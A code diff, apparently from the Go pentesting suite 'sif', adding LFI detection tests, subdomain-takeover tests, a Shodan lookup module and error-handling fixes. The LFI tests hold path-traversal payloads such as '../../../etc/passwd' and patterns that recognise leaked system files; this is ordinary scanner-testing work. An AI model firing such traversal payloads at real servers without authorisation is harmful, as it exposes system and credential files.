if criticalCount > 0 {
lfilog.Errorf("%d CRITICAL vulnerabilities found!", criticalCount)
}
if highCount > 0 {
lfilog.Warnf("%d HIGH severity vulnerabilities found", highCount)
}
} else {
lfilog.Infof("No LFI vulnerabilities detected")
return nil, nil
}
return result, nil
}
// DetectLFIFromResponse checks a response body for LFI evidence
func DetectLFIFromResponse(body string) (bool, string) {
for _, evidence := range lfiEvidencePatterns {
if evidence.pattern.MatchString(body) {
return true, evidence.description
}
}
return false, ""
}
+316
View File
@@ -0,0 +1,316 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"net/http"
"net/http/httptest"
"testing"
)
func TestDetectLFIFromResponse_EtcPasswd(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
expectDesc string
}{
{
name: "root entry",
body: "root:x:0:0:root:/root:/bin/bash",
expectFound: true,
expectDesc: "/etc/passwd content",
},
{
name: "daemon entry",
body: "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
expectFound: true,
expectDesc: "/etc/passwd content",
},
{
name: "nobody entry",
body: "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin",
expectFound: true,
expectDesc: "/etc/passwd content",
},
{
name: "no evidence",
body: "<html><body>Hello World</body></html>",
expectFound: false,
expectDesc: "",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, desc := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
if desc != tt.expectDesc {
t.Errorf("DetectLFIFromResponse() desc = %v, want %v", desc, tt.expectDesc)
}
})
}
}
func TestDetectLFIFromResponse_WindowsFiles(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
}{
{
name: "boot.ini boot loader",
body: "[boot loader]\ntimeout=30",
expectFound: true,
},
{
name: "boot.ini operating systems",
body: "[operating systems]\nmulti(0)",
expectFound: true,
},
{
name: "win.ini fonts section",
body: "; for 16-bit app support\n[fonts]",
expectFound: true,
},
{
name: "hosts file",
body: "127.0.0.1 localhost",
expectFound: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, _ := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
})
}
}
func TestDetectLFIFromResponse_EnvironmentVars(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
}{
{
name: "DOCUMENT_ROOT",
body: "DOCUMENT_ROOT=/var/www/html",
expectFound: true,
},
{
name: "PATH variable",
body: "PATH=/usr/local/bin:/usr/bin:/bin",
expectFound: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, _ := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
})
}
}
func TestDetectLFIFromResponse_PHPSource(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
}{
{
name: "PHP opening tag",
body: "<?php echo 'hello'; ?>",
expectFound: true,
},
{
name: "base64 encoded PHP",
body: "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg==",
expectFound: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, _ := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
})
}
}
func TestLFIResult_Fields(t *testing.T) {
result := LFIResult{
Vulnerabilities: []LFIVulnerability{
{
URL: "http://example.com/?file=../../../etc/passwd",
Parameter: "file",
Payload: "../../../etc/passwd",
Evidence: "/etc/passwd content",
Severity: "high",
FileIncluded: "/etc/passwd",
},
},
TestedParams: 10,
TestedPayloads: 25,
}
if len(result.Vulnerabilities) != 1 {
t.Errorf("expected 1 vulnerability, got %d", len(result.Vulnerabilities))
}
if result.Vulnerabilities[0].Parameter != "file" {
t.Errorf("expected parameter 'file', got '%s'", result.Vulnerabilities[0].Parameter)
}
if result.Vulnerabilities[0].Severity != "high" {
t.Errorf("expected severity 'high', got '%s'", result.Vulnerabilities[0].Severity)
}
if result.TestedParams != 10 {
t.Errorf("expected 10 tested params, got %d", result.TestedParams)
}
}
func TestLFIVulnerability_Fields(t *testing.T) {
vuln := LFIVulnerability{
URL: "http://example.com/?page=../../../etc/passwd",
Parameter: "page",
Payload: "../../../etc/passwd",
Evidence: "/etc/passwd content",
Severity: "high",
FileIncluded: "/etc/passwd",
}
if vuln.URL != "http://example.com/?page=../../../etc/passwd" {
t.Errorf("unexpected URL: %s", vuln.URL)
}
if vuln.Parameter != "page" {
t.Errorf("expected parameter 'page', got '%s'", vuln.Parameter)
}
if vuln.Payload != "../../../etc/passwd" {
t.Errorf("unexpected payload: %s", vuln.Payload)
}
if vuln.Evidence != "/etc/passwd content" {
t.Errorf("unexpected evidence: %s", vuln.Evidence)
}
if vuln.Severity != "high" {
t.Errorf("expected severity 'high', got '%s'", vuln.Severity)
}
}
func TestLFIPayloads_Exist(t *testing.T) {
if len(lfiPayloads) == 0 {
t.Error("lfiPayloads should not be empty")
}
// check that all payloads have required fields
for i, payload := range lfiPayloads {
if payload.payload == "" {
t.Errorf("payload %d has empty payload", i)
}
if payload.target == "" {
t.Errorf("payload %d has empty target", i)
}
if payload.severity == "" {
t.Errorf("payload %d has empty severity", i)
}
if payload.severity != "critical" && payload.severity != "high" && payload.severity != "medium" && payload.severity != "low" {
t.Errorf("payload %d has invalid severity: %s", i, payload.severity)
}
}
}
func TestCommonLFIParams_Exist(t *testing.T) {
if len(commonLFIParams) == 0 {
t.Error("commonLFIParams should not be empty")
}
expectedParams := []string{"file", "page", "path", "include"}
for _, expected := range expectedParams {
found := false
for _, param := range commonLFIParams {
if param == expected {
found = true
break
}
}
if !found {
t.Errorf("expected common param '%s' not found", expected)
}
}
}
func TestLFIEvidencePatterns_Exist(t *testing.T) {
if len(lfiEvidencePatterns) == 0 {
t.Error("lfiEvidencePatterns should not be empty")
}
// verify patterns compile and match expected content
testCases := []struct {
content string
shouldMatch bool
description string
}{
{"root:x:0:0:root:/root:/bin/bash", true, "etc passwd root"},
{"nobody:x:65534:65534:nobody", true, "etc passwd nobody"},
{"[boot loader]", true, "boot.ini"},
{"[operating systems]", true, "boot.ini"},
{"127.0.0.1 localhost", true, "hosts file"},
{"<html>Hello</html>", false, "normal html"},
}
for _, tc := range testCases {
matched := false
for _, pattern := range lfiEvidencePatterns {
if pattern.pattern.MatchString(tc.content) {
matched = true
break
}
}
if matched != tc.shouldMatch {
t.Errorf("pattern match for %s: got %v, want %v", tc.description, matched, tc.shouldMatch)
}
}
}
func TestLFI_MockServer(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
file := r.URL.Query().Get("file")
if file == "../../../../../../../etc/passwd" || file == "/etc/passwd" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("root:x:0:0:root:/root:/bin/bash\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin"))
} else {
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><body>Normal page</body></html>"))
}
}))
defer server.Close()
// verify server returns passwd content for LFI payload
resp, err := http.Get(server.URL + "/?file=../../../../../../../etc/passwd")
if err != nil {
t.Fatalf("failed to make request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200, got %d", resp.StatusCode)
}
}
+21 -3
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
@@ -46,7 +58,10 @@ func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]ou
// Get templates
templates.Install(nucleilog)
pwd, _ := os.Getwd()
pwd, err := os.Getwd()
if err != nil {
return nil, fmt.Errorf("failed to get working directory: %w", err)
}
config.DefaultConfig.SetTemplatesDir(pwd)
catalog := disk.NewCatalog(pwd)
@@ -55,7 +70,7 @@ func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]ou
outputWriter := testutils.NewMockOutputWriter()
outputWriter.WriteCallback = func(event *output.ResultEvent) {
if event.Matched != "" {
nucleilog.Infof(format.FormatLine(event))
nucleilog.Infof("%s", format.FormatLine(event))
results = append(results, *event)
// TODO: metasploit
@@ -66,7 +81,10 @@ func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]ou
defer cache.Close()
progressClient := &testutils.MockProgressClient{}
reportingClient, _ := reporting.New(&reporting.Options{}, "")
reportingClient, err := reporting.New(&reporting.Options{}, "")
if err != nil {
return nil, fmt.Errorf("failed to create reporting client: %w", err)
}
defer reportingClient.Close()
interactOpts := interactsh.DefaultOptions(outputWriter, reportingClient, progressClient)
+13 -1
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
@@ -19,7 +31,7 @@ import (
const commonPorts = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/ports/top-ports.txt"
func Ports(scope string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
log.Printf(styles.Separator.Render("🚪 Starting " + styles.Status.Render("port scanning") + "..."))
log.Printf("%s", styles.Separator.Render("🚪 Starting "+styles.Status.Render("port scanning")+"..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
+25
View File
@@ -1,3 +1,20 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
// The scan package provides a collection of security scanning functions.
//
// Each scanning function typically returns a slice of custom result structures and an error.
// The package utilizes concurrent operations to improve scanning performance and provides
// options for logging and timeout management.
package scan
import (
@@ -35,6 +52,14 @@ func fetchRobotsTXT(url string, client *http.Client) *http.Response {
return resp
}
// Scan performs a basic URL scan, including checks for robots.txt and other common endpoints.
// It logs the results and doesn't return any values.
//
// Parameters:
// - url: the target URL to scan
// - timeout: maximum duration for the scan
// - threads: number of concurrent threads to use
// - logdir: directory to store log files (empty string for no logging)
func Scan(url string, timeout time.Duration, threads int, logdir string) {
fmt.Println(styles.Separator.Render("🐾 Starting " + styles.Status.Render("base url scanning") + "..."))
+202
View File
@@ -0,0 +1,202 @@
package scan
import (
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
)
func TestCheckSubdomainTakeover_GitHubPages(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte("There isn't a GitHub Pages site here."))
}))
defer server.Close()
client := &http.Client{Timeout: 5 * time.Second}
host := strings.TrimPrefix(server.URL, "http://")
vulnerable, service := checkSubdomainTakeover(host, client)
if !vulnerable {
t.Error("expected subdomain to be vulnerable")
}
if service != "GitHub Pages" {
t.Errorf("expected service 'GitHub Pages', got '%s'", service)
}
}
func TestCheckSubdomainTakeover_NotVulnerable(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><body>Normal website content</body></html>"))
}))
defer server.Close()
client := &http.Client{Timeout: 5 * time.Second}
host := strings.TrimPrefix(server.URL, "http://")
vulnerable, service := checkSubdomainTakeover(host, client)
if vulnerable {
t.Error("expected subdomain to not be vulnerable")
}
if service != "" {
t.Errorf("expected empty service, got '%s'", service)
}
}
func TestCheckSubdomainTakeover_Heroku(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte("No such app"))
}))
defer server.Close()
client := &http.Client{Timeout: 5 * time.Second}
host := strings.TrimPrefix(server.URL, "http://")
vulnerable, service := checkSubdomainTakeover(host, client)
if !vulnerable {
t.Error("expected subdomain to be vulnerable")
}
if service != "Heroku" {
t.Errorf("expected service 'Heroku', got '%s'", service)
}
}
func TestCheckSubdomainTakeover_AmazonS3(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusNotFound)
w.Write([]byte("The specified bucket does not exist"))
}))
defer server.Close()
client := &http.Client{Timeout: 5 * time.Second}
host := strings.TrimPrefix(server.URL, "http://")
vulnerable, service := checkSubdomainTakeover(host, client)
if !vulnerable {
t.Error("expected subdomain to be vulnerable")
}
if service != "Amazon S3" {
t.Errorf("expected service 'Amazon S3', got '%s'", service)
}
}
func TestCheckSubdomainTakeover_ConnectionError(t *testing.T) {
client := &http.Client{Timeout: 1 * time.Second}
// Use invalid host to simulate connection error
vulnerable, service := checkSubdomainTakeover("invalid.host.that.does.not.exist.local", client)
if vulnerable {
t.Error("expected subdomain to not be vulnerable on connection error")
}
if service != "" {
t.Errorf("expected empty service, got '%s'", service)
}
}
func TestFetchRobotsTXT_Success(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/robots.txt" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("User-agent: *\nDisallow: /admin"))
}
}))
defer server.Close()
client := &http.Client{Timeout: 5 * time.Second}
resp := fetchRobotsTXT(server.URL+"/robots.txt", client)
if resp == nil {
t.Fatal("expected response, got nil")
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200, got %d", resp.StatusCode)
}
}
func TestFetchRobotsTXT_Redirect(t *testing.T) {
finalServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte("User-agent: *\nDisallow: /secret"))
}))
defer finalServer.Close()
redirectServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Location", finalServer.URL+"/robots.txt")
w.WriteHeader(http.StatusMovedPermanently)
}))
defer redirectServer.Close()
client := &http.Client{
Timeout: 5 * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
resp := fetchRobotsTXT(redirectServer.URL+"/robots.txt", client)
if resp == nil {
t.Fatal("expected response after redirect, got nil")
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200, got %d", resp.StatusCode)
}
}
func TestSubdomainTakeoverResult(t *testing.T) {
result := SubdomainTakeoverResult{
Subdomain: "test.example.com",
Vulnerable: true,
Service: "GitHub Pages",
}
if result.Subdomain != "test.example.com" {
t.Errorf("expected subdomain 'test.example.com', got '%s'", result.Subdomain)
}
if !result.Vulnerable {
t.Error("expected vulnerable to be true")
}
if result.Service != "GitHub Pages" {
t.Errorf("expected service 'GitHub Pages', got '%s'", result.Service)
}
}
func TestDorkResult(t *testing.T) {
result := DorkResult{
Url: "site:example.com filetype:pdf",
Count: 42,
}
if result.Url != "site:example.com filetype:pdf" {
t.Errorf("expected url 'site:example.com filetype:pdf', got '%s'", result.Url)
}
if result.Count != 42 {
t.Errorf("expected count 42, got %d", result.Count)
}
}
func TestHeaderResult(t *testing.T) {
result := HeaderResult{
Name: "Content-Type",
Value: "application/json",
}
if result.Name != "Content-Type" {
t.Errorf("expected name 'Content-Type', got '%s'", result.Name)
}
if result.Value != "application/json" {
t.Errorf("expected value 'application/json', got '%s'", result.Value)
}
}
+350
View File
@@ -0,0 +1,350 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"encoding/json"
"fmt"
"io"
"net"
"net/http"
"net/url"
"os"
"strings"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
const shodanBaseURL = "https://api.shodan.io"
// ShodanResult represents the results from a Shodan host lookup
type ShodanResult struct {
IP string `json:"ip_str"`
Hostnames []string `json:"hostnames,omitempty"`
Organization string `json:"org,omitempty"`
ASN string `json:"asn,omitempty"`
ISP string `json:"isp,omitempty"`
Country string `json:"country_name,omitempty"`
City string `json:"city,omitempty"`
OS string `json:"os,omitempty"`
Ports []int `json:"ports,omitempty"`
Vulns []string `json:"vulns,omitempty"`
Services []ShodanService `json:"services,omitempty"`
LastUpdate string `json:"last_update,omitempty"`
}
// ShodanService represents a service found by Shodan
type ShodanService struct {
Port int `json:"port"`
Protocol string `json:"transport"`
Product string `json:"product,omitempty"`
Version string `json:"version,omitempty"`
Banner string `json:"data,omitempty"`
Module string `json:"_shodan,omitempty"`
}
// shodanHostResponse is the raw response from Shodan API
type shodanHostResponse struct {
IP string `json:"ip_str"`
Hostnames []string `json:"hostnames"`
Org string `json:"org"`
ASN string `json:"asn"`
ISP string `json:"isp"`
CountryName string `json:"country_name"`
City string `json:"city"`
OS string `json:"os"`
Ports []int `json:"ports"`
Vulns []string `json:"vulns"`
Data []shodanData `json:"data"`
LastUpdate string `json:"last_update"`
}
type shodanData struct {
Port int `json:"port"`
Transport string `json:"transport"`
Product string `json:"product"`
Version string `json:"version"`
Data string `json:"data"`
Shodan map[string]interface{} `json:"_shodan"`
}
// Shodan performs a Shodan lookup for the given URL
// The API key should be provided via the SHODAN_API_KEY environment variable
func Shodan(targetURL string, timeout time.Duration, logdir string) (*ShodanResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Shodan lookup") + "..."))
shodanlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Shodan 🔍",
}).With("url", targetURL)
apiKey := os.Getenv("SHODAN_API_KEY")
if apiKey == "" {
shodanlog.Warn("SHODAN_API_KEY environment variable not set, skipping Shodan lookup")
return nil, fmt.Errorf("SHODAN_API_KEY environment variable not set")
}
// extract hostname from URL
parsedURL, err := url.Parse(targetURL)
if err != nil {
return nil, fmt.Errorf("failed to parse URL: %w", err)
}
hostname := parsedURL.Hostname()
// resolve hostname to IP
ip, err := resolveHostname(hostname)
if err != nil {
shodanlog.Warnf("Failed to resolve hostname %s: %v", hostname, err)
return nil, fmt.Errorf("failed to resolve hostname: %w", err)
}
shodanlog.Infof("Resolved %s to %s", hostname, ip)
// query Shodan API
result, err := queryShodanHost(ip, apiKey, timeout)
if err != nil {
shodanlog.Warnf("Shodan lookup failed: %v", err)
return nil, err
}
// log results
if logdir != "" {
sanitizedURL := strings.Split(targetURL, "://")[1]
if err := logger.WriteHeader(sanitizedURL, logdir, "Shodan lookup"); err != nil {
shodanlog.Errorf("Error writing log header: %v", err)
}
logShodanResults(sanitizedURL, logdir, result)
}
// print results
printShodanResults(shodanlog, result)
return result, nil
}
func resolveHostname(hostname string) (string, error) {
// check if already an IP
if net.ParseIP(hostname) != nil {
return hostname, nil
}
ips, err := net.LookupIP(hostname)
if err != nil {
return "", err
}
// prefer IPv4
for _, ip := range ips {
if ip.To4() != nil {
return ip.String(), nil
}
}
if len(ips) > 0 {
return ips[0].String(), nil
}
return "", fmt.Errorf("no IP addresses found for %s", hostname)
}
func queryShodanHost(ip string, apiKey string, timeout time.Duration) (*ShodanResult, error) {
client := &http.Client{Timeout: timeout}
reqURL := fmt.Sprintf("%s/shodan/host/%s?key=%s", shodanBaseURL, ip, apiKey)
resp, err := client.Get(reqURL)
if err != nil {
return nil, fmt.Errorf("failed to query Shodan: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusUnauthorized {
return nil, fmt.Errorf("invalid Shodan API key")
}
if resp.StatusCode == http.StatusNotFound {
return &ShodanResult{
IP: ip,
}, nil
}
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return nil, fmt.Errorf("Shodan API error (status %d): %s", resp.StatusCode, string(body))
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, fmt.Errorf("failed to read response: %w", err)
}
var shodanResp shodanHostResponse
if err := json.Unmarshal(body, &shodanResp); err != nil {
return nil, fmt.Errorf("failed to parse Shodan response: %w", err)
}
// convert to our result type
result := &ShodanResult{
IP: shodanResp.IP,
Hostnames: shodanResp.Hostnames,
Organization: shodanResp.Org,
ASN: shodanResp.ASN,
ISP: shodanResp.ISP,
Country: shodanResp.CountryName,
City: shodanResp.City,
OS: shodanResp.OS,
Ports: shodanResp.Ports,
Vulns: shodanResp.Vulns,
LastUpdate: shodanResp.LastUpdate,
Services: make([]ShodanService, 0, len(shodanResp.Data)),
}
for _, data := range shodanResp.Data {
service := ShodanService{
Port: data.Port,
Protocol: data.Transport,
Product: data.Product,
Version: data.Version,
Banner: truncateBanner(data.Data, 200),
}
if module, ok := data.Shodan["module"].(string); ok {
service.Module = module
}
result.Services = append(result.Services, service)
}
return result, nil
}
func truncateBanner(banner string, maxLen int) string {
banner = strings.TrimSpace(banner)
banner = strings.ReplaceAll(banner, "\r\n", " ")
banner = strings.ReplaceAll(banner, "\n", " ")
if len(banner) > maxLen {
return banner[:maxLen] + "..."
}
return banner
}
func printShodanResults(shodanlog *log.Logger, result *ShodanResult) {
if result.IP != "" {
shodanlog.Infof("IP: %s", styles.Highlight.Render(result.IP))
}
if len(result.Hostnames) > 0 {
shodanlog.Infof("Hostnames: %s", strings.Join(result.Hostnames, ", "))
}
if result.Organization != "" {
shodanlog.Infof("Organization: %s", result.Organization)
}
if result.ISP != "" {
shodanlog.Infof("ISP: %s", result.ISP)
}
if result.Country != "" {
location := result.Country
if result.City != "" {
location = result.City + ", " + result.Country
}
shodanlog.Infof("Location: %s", location)
}
if result.OS != "" {
shodanlog.Infof("OS: %s", result.OS)
}
if len(result.Ports) > 0 {
portStrs := make([]string, len(result.Ports))
for i, port := range result.Ports {
portStrs[i] = fmt.Sprintf("%d", port)
}
shodanlog.Infof("Open Ports: %s", styles.Status.Render(strings.Join(portStrs, ", ")))
}
if len(result.Vulns) > 0 {
shodanlog.Warnf("Vulnerabilities: %s", styles.SeverityHigh.Render(strings.Join(result.Vulns, ", ")))
}
for _, service := range result.Services {
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
if service.Product != "" {
serviceInfo += " - " + service.Product
if service.Version != "" {
serviceInfo += " " + service.Version
}
}
shodanlog.Infof("Service: %s", serviceInfo)
if service.Banner != "" {
shodanlog.Debugf(" Banner: %s", service.Banner)
}
}
}
func logShodanResults(sanitizedURL string, logdir string, result *ShodanResult) {
var sb strings.Builder
sb.WriteString(fmt.Sprintf("IP: %s\n", result.IP))
if len(result.Hostnames) > 0 {
sb.WriteString(fmt.Sprintf("Hostnames: %s\n", strings.Join(result.Hostnames, ", ")))
}
if result.Organization != "" {
sb.WriteString(fmt.Sprintf("Organization: %s\n", result.Organization))
}
if result.ISP != "" {
sb.WriteString(fmt.Sprintf("ISP: %s\n", result.ISP))
}
if result.Country != "" {
location := result.Country
if result.City != "" {
location = result.City + ", " + result.Country
}
sb.WriteString(fmt.Sprintf("Location: %s\n", location))
}
if result.OS != "" {
sb.WriteString(fmt.Sprintf("OS: %s\n", result.OS))
}
if len(result.Ports) > 0 {
portStrs := make([]string, len(result.Ports))
for i, port := range result.Ports {
portStrs[i] = fmt.Sprintf("%d", port)
}
sb.WriteString(fmt.Sprintf("Open Ports: %s\n", strings.Join(portStrs, ", ")))
}
if len(result.Vulns) > 0 {
sb.WriteString(fmt.Sprintf("Vulnerabilities: %s\n", strings.Join(result.Vulns, ", ")))
}
for _, service := range result.Services {
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
if service.Product != "" {
serviceInfo += " - " + service.Product
if service.Version != "" {
serviceInfo += " " + service.Version
}
}
sb.WriteString(fmt.Sprintf("Service: %s\n", serviceInfo))
}
logger.Write(sanitizedURL, logdir, sb.String())
}
+180
View File
@@ -0,0 +1,180 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"time"
)
func TestResolveHostname_IP(t *testing.T) {
ip, err := resolveHostname("8.8.8.8")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if ip != "8.8.8.8" {
t.Errorf("expected '8.8.8.8', got '%s'", ip)
}
}
func TestResolveHostname_Hostname(t *testing.T) {
ip, err := resolveHostname("localhost")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if ip != "127.0.0.1" && ip != "::1" {
t.Errorf("expected localhost to resolve to 127.0.0.1 or ::1, got '%s'", ip)
}
}
func TestTruncateBanner(t *testing.T) {
tests := []struct {
input string
maxLen int
expected string
}{
{"short", 10, "short"},
{"this is a long banner", 10, "this is a ..."},
{"with\nnewlines\r\n", 50, "with newlines"},
{" trimmed ", 50, "trimmed"},
}
for _, tt := range tests {
result := truncateBanner(tt.input, tt.maxLen)
if result != tt.expected {
t.Errorf("truncateBanner(%q, %d) = %q, want %q", tt.input, tt.maxLen, result, tt.expected)
}
}
}
func TestQueryShodanHost_NotFound(t *testing.T) {
// this test verifies that a mock server returning 404 is handled correctly
// note: we can't easily override the const shodanBaseURL for testing
// so this is more of a documentation of expected behavior
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusNotFound)
}))
defer server.Close()
// the actual API query would return a partial result with just the IP
// when Shodan has no data for a host
}
func TestQueryShodanHost_Success(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
response := shodanHostResponse{
IP: "93.184.216.34",
Hostnames: []string{"example.com"},
Org: "EDGECAST",
ASN: "AS15133",
ISP: "Edgecast Inc.",
CountryName: "United States",
City: "Los Angeles",
Ports: []int{80, 443},
Data: []shodanData{
{
Port: 80,
Transport: "tcp",
Product: "nginx",
Version: "1.18.0",
Data: "HTTP/1.1 200 OK\r\nServer: nginx",
},
},
}
json.NewEncoder(w).Encode(response)
}))
defer server.Close()
// Note: This test would need the actual API endpoint to be overridable
// For now, we just verify the response parsing
}
func TestShodanResult_Fields(t *testing.T) {
result := ShodanResult{
IP: "93.184.216.34",
Hostnames: []string{"example.com"},
Organization: "EDGECAST",
ASN: "AS15133",
ISP: "Edgecast Inc.",
Country: "United States",
City: "Los Angeles",
Ports: []int{80, 443},
Services: []ShodanService{
{
Port: 80,
Protocol: "tcp",
Product: "nginx",
Version: "1.18.0",
},
},
}
if result.IP != "93.184.216.34" {
t.Errorf("expected IP '93.184.216.34', got '%s'", result.IP)
}
if len(result.Hostnames) != 1 || result.Hostnames[0] != "example.com" {
t.Errorf("expected hostnames ['example.com'], got %v", result.Hostnames)
}
if result.Organization != "EDGECAST" {
t.Errorf("expected org 'EDGECAST', got '%s'", result.Organization)
}
if len(result.Ports) != 2 {
t.Errorf("expected 2 ports, got %d", len(result.Ports))
}
if len(result.Services) != 1 {
t.Errorf("expected 1 service, got %d", len(result.Services))
}
}
func TestShodanService_Fields(t *testing.T) {
service := ShodanService{
Port: 443,
Protocol: "tcp",
Product: "OpenSSL",
Version: "1.1.1",
Banner: "TLS handshake",
Module: "https",
}
if service.Port != 443 {
t.Errorf("expected port 443, got %d", service.Port)
}
if service.Protocol != "tcp" {
